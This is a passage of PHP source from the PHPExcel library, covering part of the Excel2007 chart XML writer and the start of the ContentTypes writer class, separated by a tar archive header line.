$minorGridlines->getShadowProperty('blur')); } if (!is_null($minorGridlines->getShadowProperty('distance'))) { $objWriter->writeAttribute('dist', $minorGridlines->getShadowProperty('distance')); } if (!is_null($minorGridlines->getShadowProperty('direction'))) { $objWriter->writeAttribute('dir', $minorGridlines->getShadowProperty('direction')); } if (!is_null($minorGridlines->getShadowProperty('algn'))) { $objWriter->writeAttribute('algn', $minorGridlines->getShadowProperty('algn')); } if (!is_null($minorGridlines->getShadowProperty(array('size', 'sx')))) { $objWriter->writeAttribute('sx', $minorGridlines->getShadowProperty(array('size', 'sx'))); } if (!is_null($minorGridlines->getShadowProperty(array('size', 'sy')))) { $objWriter->writeAttribute('sy', $minorGridlines->getShadowProperty(array('size', 'sy'))); } if (!is_null($minorGridlines->getShadowProperty(array('size', 'kx')))) { $objWriter->writeAttribute('kx', $minorGridlines->getShadowProperty(array('size', 'kx'))); } if (!is_null($minorGridlines->getShadowProperty('rotWithShape'))) { $objWriter->writeAttribute('rotWithShape', $minorGridlines->getShadowProperty('rotWithShape')); } $objWriter->startElement("a:{$minorGridlines->getShadowProperty(array('color', 'type'))}"); $objWriter->writeAttribute('val', $minorGridlines->getShadowProperty(array('color', 'value'))); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $minorGridlines->getShadowProperty(array('color', 'alpha'))); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end color:type $objWriter->endElement(); //end shadow } if (!is_null($minorGridlines->getSoftEdgesSize())) { $objWriter->startElement('a:softEdge'); $objWriter->writeAttribute('rad', $minorGridlines->getSoftEdgesSize()); $objWriter->endElement(); //end softEdge } $objWriter->endElement(); //end effectLst $objWriter->endElement(); //end spPr $objWriter->endElement(); //end minorGridLines } if (!is_null($yAxisLabel)) { $objWriter->startElement('c:title'); $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); $objWriter->startElement('a:p'); $objWriter->startElement('a:r'); $caption = $yAxisLabel->getCaption(); if (is_array($caption)) { $caption = $caption[0]; } $objWriter->startElement('a:t'); // $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeRawData(PHPExcel_Shared_String::ControlCharacterPHP2OOXML($caption)); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); if ($groupType !== PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) { $layout = $yAxisLabel->getLayout(); $this->writeLayout($layout, $objWriter); } $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', $xAxis->getAxisNumberFormat()); $objWriter->writeAttribute('sourceLinked', $xAxis->getAxisNumberSourceLinked()); $objWriter->endElement(); $objWriter->startElement('c:majorTickMark'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('major_tick_mark')); $objWriter->endElement(); $objWriter->startElement('c:minorTickMark'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minor_tick_mark')); $objWriter->endElement(); $objWriter->startElement('c:tickLblPos'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('axis_labels')); $objWriter->endElement(); $objWriter->startElement('c:spPr'); if (!is_null($xAxis->getFillProperty('value'))) { $objWriter->startElement('a:solidFill'); $objWriter->startElement("a:" . $xAxis->getFillProperty('type')); $objWriter->writeAttribute('val', $xAxis->getFillProperty('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $xAxis->getFillProperty('alpha')); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', $xAxis->getLineStyleProperty('width')); $objWriter->writeAttribute('cap', $xAxis->getLineStyleProperty('cap')); $objWriter->writeAttribute('cmpd', $xAxis->getLineStyleProperty('compound')); if (!is_null($xAxis->getLineProperty('value'))) { $objWriter->startElement('a:solidFill'); $objWriter->startElement("a:" . $xAxis->getLineProperty('type')); $objWriter->writeAttribute('val', $xAxis->getLineProperty('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $xAxis->getLineProperty('alpha')); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', $xAxis->getLineStyleProperty('dash')); $objWriter->endElement(); if ($xAxis->getLineStyleProperty('join') == 'miter') { $objWriter->startElement('a:miter'); $objWriter->writeAttribute('lim', '800000'); $objWriter->endElement(); } else { $objWriter->startElement('a:bevel'); $objWriter->endElement(); } if (!is_null($xAxis->getLineStyleProperty(array('arrow', 'head', 'type')))) { $objWriter->startElement('a:headEnd'); $objWriter->writeAttribute('type', $xAxis->getLineStyleProperty(array('arrow', 'head', 'type'))); $objWriter->writeAttribute('w', $xAxis->getLineStyleArrowWidth('head')); $objWriter->writeAttribute('len', $xAxis->getLineStyleArrowLength('head')); $objWriter->endElement(); } if (!is_null($xAxis->getLineStyleProperty(array('arrow', 'end', 'type')))) { $objWriter->startElement('a:tailEnd'); $objWriter->writeAttribute('type', $xAxis->getLineStyleProperty(array('arrow', 'end', 'type'))); $objWriter->writeAttribute('w', $xAxis->getLineStyleArrowWidth('end')); $objWriter->writeAttribute('len', $xAxis->getLineStyleArrowLength('end')); $objWriter->endElement(); } $objWriter->endElement(); $objWriter->startElement('a:effectLst'); if (!is_null($xAxis->getGlowProperty('size'))) { $objWriter->startElement('a:glow'); $objWriter->writeAttribute('rad', $xAxis->getGlowProperty('size')); $objWriter->startElement("a:{$xAxis->getGlowProperty(array('color','type'))}"); $objWriter->writeAttribute('val', $xAxis->getGlowProperty(array('color','value'))); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $xAxis->getGlowProperty(array('color','alpha'))); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } if (!is_null($xAxis->getShadowProperty('presets'))) { $objWriter->startElement("a:{$xAxis->getShadowProperty('effect')}"); if (!is_null($xAxis->getShadowProperty('blur'))) { $objWriter->writeAttribute('blurRad', $xAxis->getShadowProperty('blur')); } if (!is_null($xAxis->getShadowProperty('distance'))) { $objWriter->writeAttribute('dist', $xAxis->getShadowProperty('distance')); } if (!is_null($xAxis->getShadowProperty('direction'))) { $objWriter->writeAttribute('dir', $xAxis->getShadowProperty('direction')); } if (!is_null($xAxis->getShadowProperty('algn'))) { $objWriter->writeAttribute('algn', $xAxis->getShadowProperty('algn')); } if (!is_null($xAxis->getShadowProperty(array('size','sx')))) { $objWriter->writeAttribute('sx', $xAxis->getShadowProperty(array('size','sx'))); } if (!is_null($xAxis->getShadowProperty(array('size','sy')))) { $objWriter->writeAttribute('sy', $xAxis->getShadowProperty(array('size','sy'))); } if (!is_null($xAxis->getShadowProperty(array('size','kx')))) { $objWriter->writeAttribute('kx', $xAxis->getShadowProperty(array('size','kx'))); } if (!is_null($xAxis->getShadowProperty('rotWithShape'))) { $objWriter->writeAttribute('rotWithShape', $xAxis->getShadowProperty('rotWithShape')); } $objWriter->startElement("a:{$xAxis->getShadowProperty(array('color','type'))}"); $objWriter->writeAttribute('val', $xAxis->getShadowProperty(array('color','value'))); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $xAxis->getShadowProperty(array('color','alpha'))); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } if (!is_null($xAxis->getSoftEdgesSize())) { $objWriter->startElement('a:softEdge'); $objWriter->writeAttribute('rad', $xAxis->getSoftEdgesSize()); $objWriter->endElement(); } $objWriter->endElement(); //effectList $objWriter->endElement(); //end spPr if ($id1 > 0) { $objWriter->startElement('c:crossAx'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); if (!is_null($xAxis->getAxisOptionsProperty('horizontal_crosses_value'))) { $objWriter->startElement('c:crossesAt'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('horizontal_crosses_value')); $objWriter->endElement(); } else { $objWriter->startElement('c:crosses'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('horizontal_crosses')); $objWriter->endElement(); } $objWriter->startElement('c:crossBetween'); $objWriter->writeAttribute('val', "midCat"); $objWriter->endElement(); if (!is_null($xAxis->getAxisOptionsProperty('major_unit'))) { $objWriter->startElement('c:majorUnit'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('major_unit')); $objWriter->endElement(); } if (!is_null($xAxis->getAxisOptionsProperty('minor_unit'))) { $objWriter->startElement('c:minorUnit'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minor_unit')); $objWriter->endElement(); } } if ($isMultiLevelSeries) { if ($groupType !== PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) { $objWriter->startElement('c:noMultiLvlLbl'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } } $objWriter->endElement(); } /** * Get the data series type(s) for a chart plot series * * @param PHPExcel_Chart_PlotArea $plotArea * * @return string|array * @throws PHPExcel_Writer_Exception */ private static function getChartType($plotArea) { $groupCount = $plotArea->getPlotGroupCount(); if ($groupCount == 1) { $chartType = array($plotArea->getPlotGroupByIndex(0)->getPlotType()); } else { $chartTypes = array(); for ($i = 0; $i < $groupCount; ++$i) { $chartTypes[] = $plotArea->getPlotGroupByIndex($i)->getPlotType(); } $chartType = array_unique($chartTypes); if (count($chartTypes) == 0) { throw new PHPExcel_Writer_Exception('Chart is not yet implemented'); } } return $chartType; } /** * Write Plot Group (series of related plots) * * @param PHPExcel_Chart_DataSeries $plotGroup * @param string $groupType Type of plot for dataseries * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param boolean &$catIsMultiLevelSeries Is category a multi-series category * @param boolean &$valIsMultiLevelSeries Is value set a multi-series set * @param string &$plotGroupingType Type of grouping for multi-series values * @param PHPExcel_Worksheet $pSheet * * @throws PHPExcel_Writer_Exception */ private function writePlotGroup($plotGroup, $groupType, $objWriter, &$catIsMultiLevelSeries, &$valIsMultiLevelSeries, &$plotGroupingType, PHPExcel_Worksheet $pSheet) { if (is_null($plotGroup)) { return; } if (($groupType == PHPExcel_Chart_DataSeries::TYPE_BARCHART) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_BARCHART_3D)) { $objWriter->startElement('c:barDir'); $objWriter->writeAttribute('val', $plotGroup->getPlotDirection()); $objWriter->endElement(); } if (!is_null($plotGroup->getPlotGrouping())) { $plotGroupingType = $plotGroup->getPlotGrouping(); $objWriter->startElement('c:grouping'); $objWriter->writeAttribute('val', $plotGroupingType); $objWriter->endElement(); } // Get these details before the loop, because we can use the count to check for varyColors $plotSeriesOrder = $plotGroup->getPlotOrder(); $plotSeriesCount = count($plotSeriesOrder); if (($groupType !== PHPExcel_Chart_DataSeries::TYPE_RADARCHART) && ($groupType !== PHPExcel_Chart_DataSeries::TYPE_STOCKCHART)) { if ($groupType !== PHPExcel_Chart_DataSeries::TYPE_LINECHART) { if (($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_DONUTCHART) || ($plotSeriesCount > 1)) { $objWriter->startElement('c:varyColors'); $objWriter->writeAttribute('val', 1); $objWriter->endElement(); } else { $objWriter->startElement('c:varyColors'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } } } foreach ($plotSeriesOrder as $plotSeriesIdx => $plotSeriesRef) { $objWriter->startElement('c:ser'); $objWriter->startElement('c:idx'); $objWriter->writeAttribute('val', $this->_seriesIndex + $plotSeriesIdx); $objWriter->endElement(); $objWriter->startElement('c:order'); $objWriter->writeAttribute('val', $this->_seriesIndex + $plotSeriesRef); $objWriter->endElement(); if (($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_DONUTCHART)) { $objWriter->startElement('c:dPt'); $objWriter->startElement('c:idx'); $objWriter->writeAttribute('val', 3); $objWriter->endElement(); $objWriter->startElement('c:bubble3D'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->startElement('c:spPr'); $objWriter->startElement('a:solidFill'); $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', 'FF9900'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } // Labels $plotSeriesLabel = $plotGroup->getPlotLabelByIndex($plotSeriesRef); if ($plotSeriesLabel && ($plotSeriesLabel->getPointCount() > 0)) { $objWriter->startElement('c:tx'); $objWriter->startElement('c:strRef'); $this->writePlotSeriesLabel($plotSeriesLabel, $objWriter); $objWriter->endElement(); $objWriter->endElement(); } // Formatting for the points if (($groupType == PHPExcel_Chart_DataSeries::TYPE_LINECHART) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_STOCKCHART)) { $objWriter->startElement('c:spPr'); $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', 12700); if ($groupType == PHPExcel_Chart_DataSeries::TYPE_STOCKCHART) { $objWriter->startElement('a:noFill'); $objWriter->endElement(); } $objWriter->endElement(); $objWriter->endElement(); } $plotSeriesValues = $plotGroup->getPlotValuesByIndex($plotSeriesRef); if ($plotSeriesValues) { $plotSeriesMarker = $plotSeriesValues->getPointMarker(); if ($plotSeriesMarker) { $objWriter->startElement('c:marker'); $objWriter->startElement('c:symbol'); $objWriter->writeAttribute('val', $plotSeriesMarker); $objWriter->endElement(); if ($plotSeriesMarker !== 'none') { $objWriter->startElement('c:size'); $objWriter->writeAttribute('val', 3); $objWriter->endElement(); } $objWriter->endElement(); } } if (($groupType === PHPExcel_Chart_DataSeries::TYPE_BARCHART) || ($groupType === PHPExcel_Chart_DataSeries::TYPE_BARCHART_3D) || ($groupType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART)) { $objWriter->startElement('c:invertIfNegative'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } // Category Labels $plotSeriesCategory = $plotGroup->getPlotCategoryByIndex($plotSeriesRef); if ($plotSeriesCategory && ($plotSeriesCategory->getPointCount() > 0)) { $catIsMultiLevelSeries = $catIsMultiLevelSeries || $plotSeriesCategory->isMultiLevelSeries(); if (($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) || ($groupType == PHPExcel_Chart_DataSeries::TYPE_DONUTCHART)) { if (!is_null($plotGroup->getPlotStyle())) { $plotStyle = $plotGroup->getPlotStyle(); if ($plotStyle) { $objWriter->startElement('c:explosion'); $objWriter->writeAttribute('val', 25); $objWriter->endElement(); } } } if (($groupType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) || ($groupType === PHPExcel_Chart_DataSeries::TYPE_SCATTERCHART)) { $objWriter->startElement('c:xVal'); } else { $objWriter->startElement('c:cat'); } $this->writePlotSeriesValues($plotSeriesCategory, $objWriter, $groupType, 'str', $pSheet); $objWriter->endElement(); } // Values if ($plotSeriesValues) { $valIsMultiLevelSeries = $valIsMultiLevelSeries || $plotSeriesValues->isMultiLevelSeries(); if (($groupType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) || ($groupType === PHPExcel_Chart_DataSeries::TYPE_SCATTERCHART)) { $objWriter->startElement('c:yVal'); } else { $objWriter->startElement('c:val'); } $this->writePlotSeriesValues($plotSeriesValues, $objWriter, $groupType, 'num', $pSheet); $objWriter->endElement(); } if ($groupType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) { $this->writeBubbles($plotSeriesValues, $objWriter, $pSheet); } $objWriter->endElement(); } $this->_seriesIndex += $plotSeriesIdx + 1; } /** * Write Plot Series Label * * @param PHPExcel_Chart_DataSeriesValues $plotSeriesLabel * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writePlotSeriesLabel($plotSeriesLabel, $objWriter) { if (is_null($plotSeriesLabel)) { return; } $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesLabel->getDataSource()); $objWriter->endElement(); $objWriter->startElement('c:strCache'); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', $plotSeriesLabel->getPointCount()); $objWriter->endElement(); foreach ($plotSeriesLabel->getDataValues() as $plotLabelKey => $plotLabelValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotLabelKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotLabelValue); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Plot Series Values * * @param PHPExcel_Chart_DataSeriesValues $plotSeriesValues * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $groupType Type of plot for dataseries * @param string $dataType Datatype of series values * @param PHPExcel_Worksheet $pSheet * * @throws PHPExcel_Writer_Exception */ private function writePlotSeriesValues($plotSeriesValues, $objWriter, $groupType, $dataType = 'str', PHPExcel_Worksheet $pSheet) { if (is_null($plotSeriesValues)) { return; } if ($plotSeriesValues->isMultiLevelSeries()) { $levelCount = $plotSeriesValues->multiLevelCount(); $objWriter->startElement('c:multiLvlStrRef'); $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesValues->getDataSource()); $objWriter->endElement(); $objWriter->startElement('c:multiLvlStrCache'); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', $plotSeriesValues->getPointCount()); $objWriter->endElement(); for ($level = 0; $level < $levelCount; ++$level) { $objWriter->startElement('c:lvl'); foreach ($plotSeriesValues->getDataValues() as $plotSeriesKey => $plotSeriesValue) { if (isset($plotSeriesValue[$level])) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotSeriesValue[$level]); $objWriter->endElement(); $objWriter->endElement(); } } $objWriter->endElement(); } $objWriter->endElement(); $objWriter->endElement(); } else { $objWriter->startElement('c:' . $dataType . 'Ref'); $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesValues->getDataSource()); $objWriter->endElement(); $objWriter->startElement('c:' . $dataType . 'Cache'); if (($groupType != PHPExcel_Chart_DataSeries::TYPE_PIECHART) && ($groupType != PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) && ($groupType != PHPExcel_Chart_DataSeries::TYPE_DONUTCHART)) { if (($plotSeriesValues->getFormatCode() !== null) && ($plotSeriesValues->getFormatCode() !== '')) { $objWriter->startElement('c:formatCode'); $objWriter->writeRawData($plotSeriesValues->getFormatCode()); $objWriter->endElement(); } } $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', $plotSeriesValues->getPointCount()); $objWriter->endElement(); $dataValues = $plotSeriesValues->getDataValues(); if (!empty($dataValues)) { if (is_array($dataValues)) { foreach ($dataValues as $plotSeriesKey => $plotSeriesValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotSeriesValue); $objWriter->endElement(); $objWriter->endElement(); } } } $objWriter->endElement(); $objWriter->endElement(); } } /** * Write Bubble Chart Details * * @param PHPExcel_Chart_DataSeriesValues $plotSeriesValues * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writeBubbles($plotSeriesValues, $objWriter, PHPExcel_Worksheet $pSheet) { if (is_null($plotSeriesValues)) { return; } $objWriter->startElement('c:bubbleSize'); $objWriter->startElement('c:numLit'); $objWriter->startElement('c:formatCode'); $objWriter->writeRawData('General'); $objWriter->endElement(); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', $plotSeriesValues->getPointCount()); $objWriter->endElement(); $dataValues = $plotSeriesValues->getDataValues(); if (!empty($dataValues)) { if (is_array($dataValues)) { foreach ($dataValues as $plotSeriesKey => $plotSeriesValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData(1); $objWriter->endElement(); $objWriter->endElement(); } } } $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('c:bubble3D'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } /** * Write Layout * * @param PHPExcel_Chart_Layout $layout * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writeLayout(PHPExcel_Chart_Layout $layout = null, $objWriter) { $objWriter->startElement('c:layout'); if (!is_null($layout)) { $objWriter->startElement('c:manualLayout'); $layoutTarget = $layout->getLayoutTarget(); if (!is_null($layoutTarget)) { $objWriter->startElement('c:layoutTarget'); $objWriter->writeAttribute('val', $layoutTarget); $objWriter->endElement(); } $xMode = $layout->getXMode(); if (!is_null($xMode)) { $objWriter->startElement('c:xMode'); $objWriter->writeAttribute('val', $xMode); $objWriter->endElement(); } $yMode = $layout->getYMode(); if (!is_null($yMode)) { $objWriter->startElement('c:yMode'); $objWriter->writeAttribute('val', $yMode); $objWriter->endElement(); } $x = $layout->getXPosition(); if (!is_null($x)) { $objWriter->startElement('c:x'); $objWriter->writeAttribute('val', $x); $objWriter->endElement(); } $y = $layout->getYPosition(); if (!is_null($y)) { $objWriter->startElement('c:y'); $objWriter->writeAttribute('val', $y); $objWriter->endElement(); } $w = $layout->getWidth(); if (!is_null($w)) { $objWriter->startElement('c:w'); $objWriter->writeAttribute('val', $w); $objWriter->endElement(); } $h = $layout->getHeight(); if (!is_null($h)) { $objWriter->startElement('c:h'); $objWriter->writeAttribute('val', $h); $objWriter->endElement(); } $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Alternate Content block * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writeAlternateContent($objWriter) { $objWriter->startElement('mc:AlternateContent'); $objWriter->writeAttribute('xmlns:mc', 'http://schemas.openxmlformats.org/markup-compatibility/2006'); $objWriter->startElement('mc:Choice'); $objWriter->writeAttribute('xmlns:c14', 'http://schemas.microsoft.com/office/drawing/2007/8/2/chart'); $objWriter->writeAttribute('Requires', 'c14'); $objWriter->startElement('c14:style'); $objWriter->writeAttribute('val', '102'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('mc:Fallback'); $objWriter->startElement('c:style'); $objWriter->writeAttribute('val', '2'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Printer Settings * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writePrintSettings($objWriter) { $objWriter->startElement('c:printSettings'); $objWriter->startElement('c:headerFooter'); $objWriter->endElement(); $objWriter->startElement('c:pageMargins'); $objWriter->writeAttribute('footer', 0.3); $objWriter->writeAttribute('header', 0.3); $objWriter->writeAttribute('r', 0.7); $objWriter->writeAttribute('l', 0.7); $objWriter->writeAttribute('t', 0.75); $objWriter->writeAttribute('b', 0.75); $objWriter->endElement(); $objWriter->startElement('c:pageSetup'); $objWriter->writeAttribute('orientation', "portrait"); $objWriter->endElement(); $objWriter->endElement(); } } PHPExcel/Writer/Excel2007/ContentTypes.php 0000644 00000026232 14642534107 0014164 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_ContentTypes * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_ContentTypes extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write content types to XML format * * @param PHPExcel $pPHPExcel * @param boolean $includeCharts Flag indicating if we should include drawing details for charts * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeContentTypes(PHPExcel $pPHPExcel = null, $includeCharts = false) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Types $objWriter->startElement('Types'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/content-types'); // Theme $this->writeOverrideContentType($objWriter, '/xl/theme/theme1.xml', 'application/vnd.openxmlformats-officedocument.theme+xml'); // Styles $this->writeOverrideContentType($objWriter, '/xl/styles.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml'); // Rels $this->writeDefaultContentType($objWriter, 'rels', 'application/vnd.openxmlformats-package.relationships+xml'); // XML $this->writeDefaultContentType($objWriter, 'xml', 'application/xml'); // VML $this->writeDefaultContentType($objWriter, 'vml', 'application/vnd.openxmlformats-officedocument.vmlDrawing'); // Workbook if ($pPHPExcel->hasMacros()) { //Macros in workbook ? // Yes : not standard content but "macroEnabled" $this->writeOverrideContentType($objWriter, '/xl/workbook.xml', 'application/vnd.ms-excel.sheet.macroEnabled.main+xml'); //... and define a new type for the VBA project $this->writeDefaultContentType($objWriter, 'bin', 'application/vnd.ms-office.vbaProject'); if ($pPHPExcel->hasMacrosCertificate()) {// signed macros ? // Yes : add needed information $this->writeOverrideContentType($objWriter, '/xl/vbaProjectSignature.bin', 'application/vnd.ms-office.vbaProjectSignature'); } } else {// no macros in workbook, so standard type $this->writeOverrideContentType($objWriter, '/xl/workbook.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml'); } // DocProps $this->writeOverrideContentType($objWriter, '/docProps/app.xml', 'application/vnd.openxmlformats-officedocument.extended-properties+xml'); $this->writeOverrideContentType($objWriter, '/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml'); $customPropertyList = $pPHPExcel->getProperties()->getCustomProperties(); if (!empty($customPropertyList)) { $this->writeOverrideContentType($objWriter, '/docProps/custom.xml', 'application/vnd.openxmlformats-officedocument.custom-properties+xml'); } // Worksheets $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $this->writeOverrideContentType($objWriter, '/xl/worksheets/sheet' . ($i + 1) . '.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml'); } // Shared strings $this->writeOverrideContentType($objWriter, '/xl/sharedStrings.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml'); // Add worksheet relationship content types $chart = 1; for ($i = 0; $i < $sheetCount; ++$i) { $drawings = $pPHPExcel->getSheet($i)->getDrawingCollection(); $drawingCount = count($drawings); $chartCount = ($includeCharts) ? $pPHPExcel->getSheet($i)->getChartCount() : 0; // We need a drawing relationship for the worksheet if we have either drawings or charts if (($drawingCount > 0) || ($chartCount > 0)) { $this->writeOverrideContentType($objWriter, '/xl/drawings/drawing' . ($i + 1) . '.xml', 'application/vnd.openxmlformats-officedocument.drawing+xml'); } // If we have charts, then we need a chart relationship for every individual chart if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $this->writeOverrideContentType($objWriter, '/xl/charts/chart' . $chart++ . '.xml', 'application/vnd.openxmlformats-officedocument.drawingml.chart+xml'); } } } // Comments for ($i = 0; $i < $sheetCount; ++$i) { if (count($pPHPExcel->getSheet($i)->getComments()) > 0) { $this->writeOverrideContentType($objWriter, '/xl/comments' . ($i + 1) . '.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml'); } } // Add media content-types $aMediaContentTypes = array(); $mediaCount = $this->getParentWriter()->getDrawingHashTable()->count(); for ($i = 0; $i < $mediaCount; ++$i) { $extension = ''; $mimeType = ''; if ($this->getParentWriter()->getDrawingHashTable()->getByIndex($i) instanceof PHPExcel_Worksheet_Drawing) { $extension = strtolower($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getExtension()); $mimeType = $this->getImageMimeType($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getPath()); } elseif ($this->getParentWriter()->getDrawingHashTable()->getByIndex($i) instanceof PHPExcel_Worksheet_MemoryDrawing) { $extension = strtolower($this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getMimeType()); $extension = explode('/', $extension); $extension = $extension[1]; $mimeType = $this->getParentWriter()->getDrawingHashTable()->getByIndex($i)->getMimeType(); } if (!isset( $aMediaContentTypes[$extension])) { $aMediaContentTypes[$extension] = $mimeType; $this->writeDefaultContentType($objWriter, $extension, $mimeType); } } if ($pPHPExcel->hasRibbonBinObjects()) { // Some additional objects in the ribbon ? // we need to write "Extension" but not already write for media content $tabRibbonTypes=array_diff($pPHPExcel->getRibbonBinObjects('types'), array_keys($aMediaContentTypes)); foreach ($tabRibbonTypes as $aRibbonType) { $mimeType='image/.'.$aRibbonType;//we wrote $mimeType like customUI Editor $this->writeDefaultContentType($objWriter, $aRibbonType, $mimeType); } } $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { if (count($pPHPExcel->getSheet()->getHeaderFooter()->getImages()) > 0) { foreach 